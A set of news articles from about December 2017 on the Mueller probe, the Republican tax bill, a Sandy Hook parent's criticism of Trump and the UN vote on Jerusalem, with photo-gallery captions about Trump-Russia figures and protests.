Beyond our investigation, heres what has me really concerned: the attacks on Mueller, the Department of Justice and FBI this week make it clear they plan to go after Muellers investigation.

CNN said that in recent weeks, Mr Trump, who has called the investigation a witch hunt, appeared to be more relaxed about the issue and had been telling people he expected to be cleared in writing of any wrongdoing.

But the Washington Post suggested the White House may be in for an unpleasant surprise. It said people with knowledge of the investigation said it could continue for another year at least.

The Special Counsels office has continued to request new documents related to the campaign, and members of Muellers team have told others they expect to be working through much of 2018, at a minimum, it said.

The biggest names involved in the Trump-Russia investigation Show all 17 1 /17 The biggest names involved in the Trump-Russia investigation The biggest names involved in the Trump-Russia investigation Paul Manafort Mr Manafort is a Republican strategist and former Trump campaign manager. He resigned from that post over questions about his extensive lobbying overseas, including in Ukraine where he represented pro-Russian interests. Mr Manafort turned himself in at FBI headquarters to special counsel Robert Muellers team on Oct 30, 2017, after he was indicted under seal on charges that include conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading US Foreign Agents Registration Act statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts. Getty The biggest names involved in the Trump-Russia investigation Rick Gates Mr Gates joined the Trump team in spring 2016, and served as a top aide until he left to work at the Republican National Committee after the departure of former Trump campaign manager Paul Manafort. Mr Gates' had previously worked on several presidential campaigns, on international political campaigns in Europe and Africa, and had 15 years of political or financial experience with multinational firms, according to his bio. Mr Gates was indicted alongside Mr Manafort by special counsel Robert Mueller's team on charges that include conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading US Foreign Agents Registration Act statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts. AP The biggest names involved in the Trump-Russia investigation George Papadopoulos George Papadopoulos was a former foreign policy adviser for the Trump campaign, having joined around March 2016. Mr Papadopoulos plead guilty to federal charges for lying to the FBI as a part of a cooperation agreement with Special Counsel Robert Mueller's investigation. Mr Papadopoulos claimed in an interview with the FBI that he had made contacts with Russian sources before joining the Trump campaign, but he actually began working with them after joining the team. Mr Papadopoulos allegedly took a meeting with a professor in London who reportedly told him that Russians had "dirt" on Hillary Clinton. The professor also allegedly introduced Mr Papadopoulos to a Russian who was said to have close ties to officials at the Russian Ministry of Foreign Affairs. Mr Papadopoulos also allegedly was in contact with a woman whom he incorrectly described in one email to others in the campaign as the "niece" to Russian President Vladimir Putin. Twitter The biggest names involved in the Trump-Russia investigation Donald Trump Jr The President's eldest son met with a Russian lawyer - Natalia Veselnitskaya - on 9 June 2016 at Trump Tower in New York. He said in an initial statement that the meeting was about Russia halting adoptions of its children by US citizens. Then, he said it was regarding the Magnitsky Act, a US law blacklisting Russian human rights abusers. In a final statement, Mr Trump Jr released a chain of emails that revealed he took the meeting in hopes of getting information Ms Veselnitskaya had about Hillary Clinton's alleged financial ties to Russia. He and the President called it standard "opposition research" in the course of campaigning and that no information came from the meeting. The meeting was set up by an intermediary, Rob Goldstone. Jared Kushner and Paul Manafort were also at the same meeting. Getty Images The biggest names involved in the Trump-Russia investigation Jared Kushner Mr Kushner is President Donald Trump's son-in-law and a key adviser to the White House. He met with a Russian banker appointed by Russian President Vladimir Putin in December. Mr Kushner has said he did so in his role as an adviser to Mr Trump while the bank says he did so as a private developer. Mr Kushner has also volunteered to testify in the Senate about his role helping to arrange meetings between Trump advisers and Russian Ambassador to the US Sergey Kislyak. Getty Images The biggest names involved in the Trump-Russia investigation Rob Goldstone Former tabloid journalist and now music publicist Rob Goldstone is a contact of the Trump family through the previously Trump-owned 2013 Miss Universe pageant, which took place in Moscow. In June 2016, he wrote to Donald Trump Jr offering a meeting with a Russian lawyer, Natalya Veselnitskaya, who had information about Hillary Clinton. Mr Goldstone was the intermediary for Russian pop star Emin Agalaraov and his father, real estate magnate Aras, who played a role in putting on the 2013 pageant. In an email chain released by Mr Trump Jr, Mr Goldstone seemed to indicate Russian government's support of Donald Trump's campaign. AP images The biggest names involved in the Trump-Russia investigation Aras and Emin Agalarov Aras Agalarov (R) is a wealthy Moscow-based real estate magnate and son Emin (L) is a pop star. Both played a role in putting on the previously Trump-owned 2013 Miss Universe pageant in Moscow. They allegedly had information about Hillary Clinton and offered that information to the Trump campaign through a lawyer with whom they had worked with, Natalia Veselnitskaya, and music publicist Rob Goldstone. Getty Images The biggest names involved in the Trump-Russia investigation Natalia Veselnitskaya Natalia Veselnitskaya is a Russian lawyer with ties to the Kremlin. She has worked on real estate issues and reportedly counted the FSB as a client in the past. She has ties to a Trump family connection, real estate magnate Aras Agalarov, who had helped set up the Trump-owned 2013 Miss Universe pageant which took place in Moscow. Ms Veselnitskaya met with Donald Trump Jr, Jared Kushner, and Paul Manafort in Trump Tower on 9 June 2016 but denies the allegation that she went there promising information on Hillary Clinton's alleged financial ties to Russia. She contends that the meeting was about the US adoptions of Russian children being stopped by Moscow as a reaction to the Magnitsky Act, a US law blacklisting Russian human rights abusers. Getty Images The biggest names involved in the Trump-Russia investigation Mike Flynn Mr Flynn was named as Trump's national security adviser but was forced to resign from his post for inappropriate communication with Russian Ambassador to the US Sergey Kislyak. He had misrepresented a conversation he had with Mr Kislyak to Vice President Mike Pence, telling him wrongly that he had not discussed sanctions with the Russian. Getty Images The biggest names involved in the Trump-Russia investigation Sergey Kislyak Mr Kislyak, the former longtime Russian ambassador to the US, is at the centre of the web said to connect President Donald Trump's campaign with Russia. Reuters The biggest names involved in the Trump-Russia investigation Roger Stone Mr Stone is a former Trump adviser who worked on the political campaigns of Richard Nixon, George HW Bush, and Ronald Reagan. Mr Stone claimed repeatedly in the final months of the campaign that he had backchannel communications with WikiLeaks founder Julian Assange and that he knew the group was going to dump damaging documents to the campaign of Democratic candidate Hillary Clinton - which did happen. Mr Stone also had contacts with the hacker Guccier 2.0 on Twitter, who claimed to have hacked the DNC and is linked to Russian intelligence services. Getty Images The biggest names involved in the Trump-Russia investigation Jeff Sessions The US attorney general was forced to recuse himself from the Trump-Russia investigation after it was learned that he had lied about meeting with Russian Ambassador to the US Sergey Kislyak. Getty Images The biggest names involved in the Trump-Russia investigation Carter Page Mr Page is a former advisor to the Trump campaign and has a background working as an investment banker at Merrill Lynch. Mr Page met with Russian Ambassador to the US Sergey Kislyak during the 2016 Republican National Convention in Cleveland. Mr Page had invested in oil companies connected to Russia and had admitted that US Russia sanctions had hurt his bottom line. Reuters The biggest names involved in the Trump-Russia investigation Jeffrey "JD" Gorden Mr Gordon met with Russian Ambassador to the US Sergey Kislyak during the 2016 Republian National Convention to discuss how the US and Russia could work together to combat Islamist extremism should then-Republican presidential candidate Donald Trump win the election. The meeting came days before a massive leak of DNC emails that has been connected to Russia. Creative Commons The biggest names involved in the Trump-Russia investigation James Comey Mr Comey was fired from his post as head of the FBI by President Donald Trump. The timing of Mr Comey's firing raised questions around whether or not the FBI's investigation into the Trump campaign may have played a role in the decision. Getty Images The biggest names involved in the Trump-Russia investigation Preet Bharara Mr Bahara refused, alongside 46 other US district attorney's across the country, to resign once President Donald Trump took office after previous assurances from Mr Trump that he would keep his job. Mr Bahara had been heading up several investigations including one into one of President Donald Trump's favorite cable television channels Fox News. Several investigations would lead back to that district, too, including those into Mr Trump's campaign ties to Russia, and Mr Trump's assertion that Trump Tower was wiretapped on orders from his predecessor. Getty Images The biggest names involved in the Trump-Russia investigation Sally Yates Ms Yates, a former Deputy Attorney General, was running the Justice Department while President Donald Trump's pick for attorney general awaited confirmation. Ms Yates was later fired by Mr Trump from her temporary post over her refusal to implement Mr Trump's first travel ban. She had also warned the White House about potential ties former National Security Adviser Michael Flynn to Russia after discovering those ties during the FBI's investigation into the Trump campaign's connections to Russia. Getty Images

Two of the four people charged by Mr Mueller  former Trump campaign manager Paul Manafort and his associate Rick Gates  have pleaded not guilty. But the other two, former national security adviser Michael Flynn and former campaign adviser George Papadopoulos, have pleaded guilty to modest charges and are cooperating with the investigation. There is speculation it is information these two men have provided to Mr Muellers team that is generating new lines of inquiry and extending the calendar of the probe.

At the end of October, a month before Mr Flynn pleaded guilty, White House press secretary Sarah Huckabee Sanders said she believed Mr Muellers investigation was getting closer to conclusion. She said this was certainly the view of Mr Trump.

I certainly think he has confidence that they are going to close this up soon, Ms Sanders told Fox News.

I think we are seeing more and more evidence that shows, look, theyve been working on this and investigating this for well into a year through various committees.

She added: Every day we find out more and more details about why the President has been right all along and why the Democrats have been wrong all along and I think that each day were getting closer and closer to closing the loop on this on our front.

There was no immediate response to a request for comment from the White House.
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White House Press Secretary Sarah Sanders has said its going to be a huge day, with both the Senate and House of Representatives expected to vote on the Republicans tax bill.

The House easily approved the measure in a 227-203 vote. Only 12 Republicans voted against it, while Democrats were united in their opposition. The Senate will vote next.

Speaking on the show Fox & Friends, Ms Sanders said, Today is a huge day, not just for the White House, not just for Congress but most importantly for America.

She added that middle-class Americans will see the biggest benefit out of this tax package  even though multiple analyses show the plan will disproportionately benefit the wealthy.

Ahead of the Houses vote, protesters stormed Capitol Hill to fight the tax bill. Chants of kill the bill, dont kill us filled the House chamber as members spoke on the floor. Meanwhile, in New York City, a rally against the bill resulted in arrests.

During her interview, Ms Sanders also criticised Democrats for not participating in the process to reform the US tax code.

This is a president who wouldve been happy to take their call and certainly happy to have their vote, to help Americans have more money in their paychecks, more money in their pockets, more money for businesses to reinvest in this country, Ms Sanders said.

In early December, the Senate passed its initial tax plan in a late-night vote with no Democratic support and one Republican defection, Tennessee Senator Bob Corker.

On Tuesday, the House and Senate plan to vote again on a final tax bill, which has undergone changes in the reconciliation process between the two chambers of Congress.

Donald Trump's least presidential moments so far... Show all 30 1 /30 Donald Trump's least presidential moments so far... Donald Trump's least presidential moments so far... Threatening to shut down Twitter after being fact-checked After the president tweeted that voting by post would be "substantially fraudulent", Twitter attached a warning label to his tweet and referred readers to a site which explained how the claim was "unsubstantiated". Trump then said Twitter was "stifling free speech" and that he may have to shut it down, something which he would not have the power to do AFP/Getty Donald Trump's least presidential moments so far... Flippantly dismissing a serious allegation of sexual assault When author E Jean Carroll accused Trump of raping her, the president responded: Number one, shes not my type. Number two, it never happened. It never happened, OK?" AFP/Getty Donald Trump's least presidential moments so far... Insulting the Mayor of London as he landed in London Just before touching down at Stansted Airport for his state visit, Trump took time out to @ the London mayor Sadiq Khan on twitter. He said that Khan has done a "terrible job"as mayor and that he is a "stone cold loser" Reuters Donald Trump's least presidential moments so far... Taking plenty of "Executive Time" The president's official schedule sets aside the hours from 8 to 11am daily for "Executive Time". Further intermittent periods of "Executive Time" are scheduled throughout any given day, ranging from 15 minutes to 3 hours. His duties in these hours have not been officially disclosed, though Axios reports that he spends them watching TV, reading the newspapers and tweeting Getty Donald Trump's least presidential moments so far... Shutdown the government for over a month in an effort to secure funding for his wall With Mexico declining to pay for the wall, the president has faced difficulty in raising the required $5bn at home. Due to his demand that the money for the wall be included in the budget, and Congress's refusal, the government partially shut down on 22 December 2018. It remained shut for over a month, the longest period in history Getty Donald Trump's least presidential moments so far... Joking about the Nazi occupation of France to President Macron In this tweet from 13 November 2018, the president mocks Emmanuel Macron's suggestion of a "true, European army" by invoking the conflict between France and Germany in the world wars Donald Trump's least presidential moments so far... Railing against the Mueller investigation The president has repeatedly claimed that the Mueller investigation into Russian interference in the 2016 election, is a "rigged witch hunt" Reuters Donald Trump's least presidential moments so far... Contradicting a US intelligence report on Russian meddling in the presence of Vladimir Putin In the press conference that followed his landmark meeting with Russian president Vladimir Putin, Trump stated that he saw no reason why Russia would have meddled in the 2016 US election. This contradicted a 2017 report by the US Office of the Director of National Intelligence that found evidence of Russian interference in favour of Trump Getty Donald Trump's least presidential moments so far... Contradicting his contradiction of a US intelligence report on Russian meddling Following furious backlash in the US, the president claimed that he meant to say that he saw no reason why it would not have been Russia who meddled in the 2016 US election. As to why he would have intended to use such bizarre phrasing, he did not comment Reuters Donald Trump's least presidential moments so far... Colouring in the US flag wrong The president coloured in the US flag wrongly during a visit to a children's hospital in Columbus, Ohio. He added a blue stripe where in tradition, and statute, there have been only white and red stripes AFP/Getty Donald Trump's least presidential moments so far... Firing a Secretary of State over Twitter The president announced on Twitter that he was appointing Mike Pompeo as Secretary of State, much to the surprise of then Secretary of State Rex Tillerson Donald Trump's least presidential moments so far... Quoting a catchphrase from a reality TV show when discussing police brutality While addressing the issue of black athletes not standing for the national anthem in protest of police brutality, the president made reference to his catchphrase from reality TV show "The Apprentice": you're fired! Reuters Donald Trump's least presidential moments so far... Calling African nations "S***hole Countries" Ever one for diplomacy, the president reportedly referred to African nations as "s***hole countries". Asked to confirm this when meeting with Nigeria's President Buhari, Trump stated that there are "some countries that are in very bad shape". Reuters Donald Trump's least presidential moments so far... Defending Russian President Vladimir Putin Trump appeared to equate US foreign actions to those of Russian president Vladimir Putin, saying: There are a lot of killers. You think our countrys so innocent? Reuters Donald Trump's least presidential moments so far... Asking for people to 'pray' for Arnold Schwarzenegger At the National Prayer Breakfast, Trump couldnt help but to ask for prayers for the ratings on Arnold Schwarzeneggers show to be good. Schwarzenegger took over as host of The Apprentice  which buoyed Trumps celebrity status years ago Getty Donald Trump's least presidential moments so far... Hanging up on Australian PM Malcolm Turnbull Early in his presidency, Trump reportedly hung up the phone on Australian prime minister Malcolm Turnbull after the foreign leader angered him over refugee plans. Mr Trump later said that it was the worst call he had had so far Getty Donald Trump's least presidential moments so far... The 'Muslim ban' Perhaps one of his most controversial policies while acting as president, Trumps travel ban targeting predominantly Muslim countries has bought him a lot of criticism. The bans were immediately protested, and judges initially blocked their implementation. The Supreme Court later sided with the administrations argument that the ban was developed out of concern for US security Getty Donald Trump's least presidential moments so far... Praising crowd size while touring Hurricane Harvey damage After Hurricane Harvey ravaged southeastern Texas, Trump paid the area a visit. While his response to the disaster in Houston was generally applauded, the president picked up some flack when he gave a speech outside Houston (he reportedly did not visit disaster zones), and praised the size of the crowds there AP Donald Trump's least presidential moments so far... 'Little Rocket Man' During his first-ever speech to the United Nations General Assembly, Trump tried out a new nickname for North Korea leader Kim Jong-un: Rocket Man. He later tweaked it to be little Rocket Man as the two feuded, and threatened each other with nuclear war. During that speech, he also threatened to totally annihilate North Korea Donald Trump's least presidential moments so far... Attacking Sadiq Khan following London Bridge terror attack After the attack on the London Bridge, Trump lashed out at London Mayor Sadiq Khan, criticising Khan for saying there was no reason to be alarmed after the attack. Trump was taking the comments out of context, as Khan was simply saying that the police had everything under control Getty Donald Trump's least presidential moments so far... Claiming presenter Mika Brezinkski was 'bleeding from the face' Never one not to mock his enemies, Trump mocked MSNBCs Morning Joe co-host Mika Brzezinski, saying that she and co-host Joe Scarborough had approached him before his inauguration asking to join him. He noted that she was bleeding badly from a face-lift at the time, and that he said no MSNBC Donald Trump's least presidential moments so far... Claiming the blame for Charlottesville was on 'both sides' Trump refused to condemn far-right extremists involved in violence at 'the march for the right' protests in Charlottesville, even after the murder of counter protester Heather Heyer AP Donald Trump's least presidential moments so far... Retweeting cartoon of CNN being hit by a 'Trump train' Trump retweeted a cartoon showing a Trump-branded train running over a person whose body and head were replaced by a CNN avatar. He later deleted the retweet Donald Trump's least presidential moments so far... Tweeting about 'slamming' CNN Trump caught some flack when he tweeted a video showing him wrestling down an individual whose head had been replaced by a CNN avatar. Trump has singled CNN out in particular with his chants of fake news Donald Trump's least presidential moments so far... Firing head of the FBI, James Comey Trumps firing of former FBI Director James Comey landed him with a federal investigation into Russias meddling in the 2016 election that has caused many a headache for the White House. The White House initially said that the decision was made after consultation from the Justice Department. Then Mr Trump himself said that he had decided to fire him in part because he wanted the Russia investigation Mr Comey was conducting to stop Getty Donald Trump's least presidential moments so far... Not realising being president would be 'hard' Just three months into his presidency, Trump admitted that being president is harder than he thought it would be. Though Trump insisted on the 2016 campaign trail that doing the job would be easy for him, he admitted in an interview that living in the White House is harder than running a business empire Reuters Donald Trump's least presidential moments so far... Accusing Obama of wiretapping him Trump accused former president Barack Obama of wire tapping him on twitter. The Justice Department later clarified: Obama had not, in fact, done so Reuters Donald Trump's least presidential moments so far... Claiming there had been 3 million 'illegal votes' Trump was never very happy about losing the popular vote to Hillary Clinton by 2.8 million ballots. So, he and White House voter-fraud commissioner Kris Kobach have claimed that anywhere between three and five million people voted illegally during the 2016 election. Conveniently, he says that all of those illegal votes went to Clinton. (There is no evidence to support that level of widespread voter fraud.) Donald Trump's least presidential moments so far... Leaving Jews out of the Holocaust memorial statement Just days after taking office, Trumps White House issued a statement on International Holocaust Remembrance Day, but didnt mention jews or even the word jewish in the written statement Getty Donald Trump's least presidential moments so far... Anger over Inauguration crowd size Trumps inauguration crowd was visibly, and noticeably, smaller than that of his predecessor, Barack Obama. But, he really wanted to have had the largest crowd on record. So, he praised it as the biggest crowd ever. Relatedly, Trump also claimed that it stopped raining in Washington at the moment he was inaugurated. It didnt, the day was very dreary Reuters

Mr Corker has since said that he will support the final tax bill.

Passage in the Senate appears all but certain.

Congress is standing at the doorstep of an historic opportunity, Senate Majority Leader Mitch McConnell said on the Senate floor.

Republicans assert that the package of tax cuts for corporations, small businesses and individuals will boost economic and job growth.

This is about expanding opportunities for people who are striving to make the most of their lives, House Speaker Paul Ryan said at a news conference.
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The mother of a child killed in the 2012 Sandy Hook Elementary School mass shooting has ripped President Donald Trump for an appalling lack of humanity and decency after he invited the head of the National Rifle Association to the White House on the anniversary of the slaughter.

Nicole Hockley, whose 6-year-old son was one of 20 children killed in that attack, slammed Mr Trump for failing to recognise the shooting on its five-year anniversary, even though he invited the NRA boss to the White House Christmas Party that evening.

Not only did he ignore the five-year remembrance completely  not even a single tweet  he slapped us all in the face by having none other than NRA President Wayne LaPierre at his White House Christmas party that night. The appalling lack of humanity and decency has not gone unnoticed, Ms Hockley wrote in a Facebook post.

Recommended FBI files reveal Sandy Hook shooter had paedophilic tendencies

While they ignorantly partied and remained uninformed on an issue that kills thousands of Americans every year, I was crying myself to sleep, she continued. While they got the chance to kiss their children goodnight, I kissed the urn holding my beautiful boys ashes.

Following the massacre that killed her son, Ms Hockley joined another parent to start Sandy Hook Promise, a non-profit that works to protect children from gun violence.

White House Press Secretary Sarah Huckabee Sanders confirmed that Mr LaPierre had been at the White House Christmas Party, but said that she wasnt sure if the President met with the NRA chief.

Donald Trump's least presidential moments so far... Show all 30 1 /30 Donald Trump's least presidential moments so far... Donald Trump's least presidential moments so far... Threatening to shut down Twitter after being fact-checked After the president tweeted that voting by post would be "substantially fraudulent", Twitter attached a warning label to his tweet and referred readers to a site which explained how the claim was "unsubstantiated". Trump then said Twitter was "stifling free speech" and that he may have to shut it down, something which he would not have the power to do AFP/Getty Donald Trump's least presidential moments so far... Flippantly dismissing a serious allegation of sexual assault When author E Jean Carroll accused Trump of raping her, the president responded: Number one, shes not my type. Number two, it never happened. It never happened, OK?" AFP/Getty Donald Trump's least presidential moments so far... Insulting the Mayor of London as he landed in London Just before touching down at Stansted Airport for his state visit, Trump took time out to @ the London mayor Sadiq Khan on twitter. He said that Khan has done a "terrible job"as mayor and that he is a "stone cold loser" Reuters Donald Trump's least presidential moments so far... Taking plenty of "Executive Time" The president's official schedule sets aside the hours from 8 to 11am daily for "Executive Time". Further intermittent periods of "Executive Time" are scheduled throughout any given day, ranging from 15 minutes to 3 hours. His duties in these hours have not been officially disclosed, though Axios reports that he spends them watching TV, reading the newspapers and tweeting Getty Donald Trump's least presidential moments so far... Shutdown the government for over a month in an effort to secure funding for his wall With Mexico declining to pay for the wall, the president has faced difficulty in raising the required $5bn at home. Due to his demand that the money for the wall be included in the budget, and Congress's refusal, the government partially shut down on 22 December 2018. It remained shut for over a month, the longest period in history Getty Donald Trump's least presidential moments so far... Joking about the Nazi occupation of France to President Macron In this tweet from 13 November 2018, the president mocks Emmanuel Macron's suggestion of a "true, European army" by invoking the conflict between France and Germany in the world wars Donald Trump's least presidential moments so far... Railing against the Mueller investigation The president has repeatedly claimed that the Mueller investigation into Russian interference in the 2016 election, is a "rigged witch hunt" Reuters Donald Trump's least presidential moments so far... Contradicting a US intelligence report on Russian meddling in the presence of Vladimir Putin In the press conference that followed his landmark meeting with Russian president Vladimir Putin, Trump stated that he saw no reason why Russia would have meddled in the 2016 US election. This contradicted a 2017 report by the US Office of the Director of National Intelligence that found evidence of Russian interference in favour of Trump Getty Donald Trump's least presidential moments so far... Contradicting his contradiction of a US intelligence report on Russian meddling Following furious backlash in the US, the president claimed that he meant to say that he saw no reason why it would not have been Russia who meddled in the 2016 US election. As to why he would have intended to use such bizarre phrasing, he did not comment Reuters Donald Trump's least presidential moments so far... Colouring in the US flag wrong The president coloured in the US flag wrongly during a visit to a children's hospital in Columbus, Ohio. He added a blue stripe where in tradition, and statute, there have been only white and red stripes AFP/Getty Donald Trump's least presidential moments so far... Firing a Secretary of State over Twitter The president announced on Twitter that he was appointing Mike Pompeo as Secretary of State, much to the surprise of then Secretary of State Rex Tillerson Donald Trump's least presidential moments so far... Quoting a catchphrase from a reality TV show when discussing police brutality While addressing the issue of black athletes not standing for the national anthem in protest of police brutality, the president made reference to his catchphrase from reality TV show "The Apprentice": you're fired! Reuters Donald Trump's least presidential moments so far... Calling African nations "S***hole Countries" Ever one for diplomacy, the president reportedly referred to African nations as "s***hole countries". Asked to confirm this when meeting with Nigeria's President Buhari, Trump stated that there are "some countries that are in very bad shape". Reuters Donald Trump's least presidential moments so far... Defending Russian President Vladimir Putin Trump appeared to equate US foreign actions to those of Russian president Vladimir Putin, saying: There are a lot of killers. You think our countrys so innocent? Reuters Donald Trump's least presidential moments so far... Asking for people to 'pray' for Arnold Schwarzenegger At the National Prayer Breakfast, Trump couldnt help but to ask for prayers for the ratings on Arnold Schwarzeneggers show to be good. Schwarzenegger took over as host of The Apprentice  which buoyed Trumps celebrity status years ago Getty Donald Trump's least presidential moments so far... Hanging up on Australian PM Malcolm Turnbull Early in his presidency, Trump reportedly hung up the phone on Australian prime minister Malcolm Turnbull after the foreign leader angered him over refugee plans. Mr Trump later said that it was the worst call he had had so far Getty Donald Trump's least presidential moments so far... The 'Muslim ban' Perhaps one of his most controversial policies while acting as president, Trumps travel ban targeting predominantly Muslim countries has bought him a lot of criticism. The bans were immediately protested, and judges initially blocked their implementation. The Supreme Court later sided with the administrations argument that the ban was developed out of concern for US security Getty Donald Trump's least presidential moments so far... Praising crowd size while touring Hurricane Harvey damage After Hurricane Harvey ravaged southeastern Texas, Trump paid the area a visit. While his response to the disaster in Houston was generally applauded, the president picked up some flack when he gave a speech outside Houston (he reportedly did not visit disaster zones), and praised the size of the crowds there AP Donald Trump's least presidential moments so far... 'Little Rocket Man' During his first-ever speech to the United Nations General Assembly, Trump tried out a new nickname for North Korea leader Kim Jong-un: Rocket Man. He later tweaked it to be little Rocket Man as the two feuded, and threatened each other with nuclear war. During that speech, he also threatened to totally annihilate North Korea Donald Trump's least presidential moments so far... Attacking Sadiq Khan following London Bridge terror attack After the attack on the London Bridge, Trump lashed out at London Mayor Sadiq Khan, criticising Khan for saying there was no reason to be alarmed after the attack. Trump was taking the comments out of context, as Khan was simply saying that the police had everything under control Getty Donald Trump's least presidential moments so far... Claiming presenter Mika Brezinkski was 'bleeding from the face' Never one not to mock his enemies, Trump mocked MSNBCs Morning Joe co-host Mika Brzezinski, saying that she and co-host Joe Scarborough had approached him before his inauguration asking to join him. He noted that she was bleeding badly from a face-lift at the time, and that he said no MSNBC Donald Trump's least presidential moments so far... Claiming the blame for Charlottesville was on 'both sides' Trump refused to condemn far-right extremists involved in violence at 'the march for the right' protests in Charlottesville, even after the murder of counter protester Heather Heyer AP Donald Trump's least presidential moments so far... Retweeting cartoon of CNN being hit by a 'Trump train' Trump retweeted a cartoon showing a Trump-branded train running over a person whose body and head were replaced by a CNN avatar. He later deleted the retweet Donald Trump's least presidential moments so far... Tweeting about 'slamming' CNN Trump caught some flack when he tweeted a video showing him wrestling down an individual whose head had been replaced by a CNN avatar. Trump has singled CNN out in particular with his chants of fake news Donald Trump's least presidential moments so far... Firing head of the FBI, James Comey Trumps firing of former FBI Director James Comey landed him with a federal investigation into Russias meddling in the 2016 election that has caused many a headache for the White House. The White House initially said that the decision was made after consultation from the Justice Department. Then Mr Trump himself said that he had decided to fire him in part because he wanted the Russia investigation Mr Comey was conducting to stop Getty Donald Trump's least presidential moments so far... Not realising being president would be 'hard' Just three months into his presidency, Trump admitted that being president is harder than he thought it would be. Though Trump insisted on the 2016 campaign trail that doing the job would be easy for him, he admitted in an interview that living in the White House is harder than running a business empire Reuters Donald Trump's least presidential moments so far... Accusing Obama of wiretapping him Trump accused former president Barack Obama of wire tapping him on twitter. The Justice Department later clarified: Obama had not, in fact, done so Reuters Donald Trump's least presidential moments so far... Claiming there had been 3 million 'illegal votes' Trump was never very happy about losing the popular vote to Hillary Clinton by 2.8 million ballots. So, he and White House voter-fraud commissioner Kris Kobach have claimed that anywhere between three and five million people voted illegally during the 2016 election. Conveniently, he says that all of those illegal votes went to Clinton. (There is no evidence to support that level of widespread voter fraud.) Donald Trump's least presidential moments so far... Leaving Jews out of the Holocaust memorial statement Just days after taking office, Trumps White House issued a statement on International Holocaust Remembrance Day, but didnt mention jews or even the word jewish in the written statement Getty Donald Trump's least presidential moments so far... Anger over Inauguration crowd size Trumps inauguration crowd was visibly, and noticeably, smaller than that of his predecessor, Barack Obama. But, he really wanted to have had the largest crowd on record. So, he praised it as the biggest crowd ever. Relatedly, Trump also claimed that it stopped raining in Washington at the moment he was inaugurated. It didnt, the day was very dreary Reuters

The NRA spends millions of dollars each year to lobby the federal government, and wields considerable membership rolls to pressure members of Congress  and state legislatures  to advance pro-gun policies, or protect gun rights. In 2016, the group spent $3,188,000 to lobby the federal government, for instance, and spent over $54 million on outside expenditures, according to data from the Centre for Responsive Politics, making it the eighth biggest outside spender that year.
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Britain joined 13 other members of the UN Security Council to vote in favour of a resolution calling for Donald Trump to rescind his declaration that Jerusalem is the capital of Israel, showing the depth of global opposition to the move.

The United States cast its first veto in more than six years to block the Egypt-drafted resolution, which did not specifically mention the US or Mr Trump bug expressed "deep regret at recent decisions concerning the status of Jerusalem."

Nikki Haley, the US ambassador to the UN, denounced the resolution as "an insult" and said it "won't be forogtten."

"The fact that this veto is being done in defence of American sovereignty and in defence of America's role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the Security Council," Ms Haley said.

Theresa May personally restated her disagreement with Mr Trump's decision in a phone call with Turkish President Recep Tayyip Erdogan.

The Prime Minister restated the UK's position that Jerusalem should ultimately form a shared capital between the Israeli and Palestinian states.

She also stressed the importance of continuing to work with the US to encourage them to bring forward proposals to reenergise the peace process, Downing Street said.

Protests erupt after Trump recognises Jerusalem as Israel's capital Show all 22 1 /22 Protests erupt after Trump recognises Jerusalem as Israel's capital Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of Difa-e-Pakistan Council a coalition of right wing Islamic parties, burn an effigy of US President Donald Trump, during a protest in Quetta, Pakistan EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Israeli police scuffle with a Palestinian protester outside Damascus Gate in Jerusalem's Old City Getty Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters burn pictures of Donald Trump and Benjamin Netanyahu following Trump's decision to recognise Jerusalem as the capital of Israel, in Gaza City AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Israeli forces disperse Palestinian protesters outside Damascus Gate in Jerusalem's Old City on 7 December 2017 AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of the Difa-e-Pakistan Council (DPC), an Islamic organization, chant slogans as they burn Israeli and US flags during a protest against Donald Trump in Peshawar REUTERS Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinians paint an 'X' over the face of a picture of US president Donald J. Trump which was painted on the Israeli separation wall in Bethlehem EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protestors burn the Israeli flag and a poster of US President Donald Trump in Gaza City AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of a Pakistani religious party rally against Donald Trump in Lahore AP Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters burn the US and Israeli flags in Gaza City AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital A poster depicting U.S. President Donald Trump is burnt during a protest against Trump's decision to recognize Jerusalem as the capital of Israel, in the West Bank city of Ramallah REUTERS Protests erupt after Trump recognises Jerusalem as Israel's capital Israeli forces detain a Palestinian protester during clashes that followed protests against US President Donald Trump recognising Jerusalem as the capital of Israel, in Hebron AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters burn an effigy of U.S. President Donald Trump AP Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters shout slogans against Donald Trump EPA Protests erupt after Trump recognises Jerusalem as Israel's capital A Palestinian protester wears a Guy Fawkes mask used by the anonymous movement during clashes with Israeli troops in Hebron AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian demonstrators clash with Isralei troops during protests AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of a Pakistani religious party chant anti-American slogans during a rally in Islamabad, Pakistan AP Protests erupt after Trump recognises Jerusalem as Israel's capital Pakistanis burn a representation of the U.S. flag during a protest rally in Hyderabad AP Protests erupt after Trump recognises Jerusalem as Israel's capital Young Palestinian women look on as smoke billows from burning tyres as fellow Palestinian demonstrators clash with Isralei troops AFP/Getty Protests erupt after Trump recognises Jerusalem as Israel's capital Protesters burn a picture of U.S. President Donald Trump at a protest in Islamabad REUTERS Protests erupt after Trump recognises Jerusalem as Israel's capital Protestors shouts slogans against US President Donald Trump as they hold Palestinian and Turkish flags during a protest near the US Embassy in Ankara, Turkey EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protestors put their feet over a picture of US president Donald Trump during a protest in the West Bank City of Nablus EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Pakistani protesters burn tires at an anti-Donald Trump rally in Multan AP

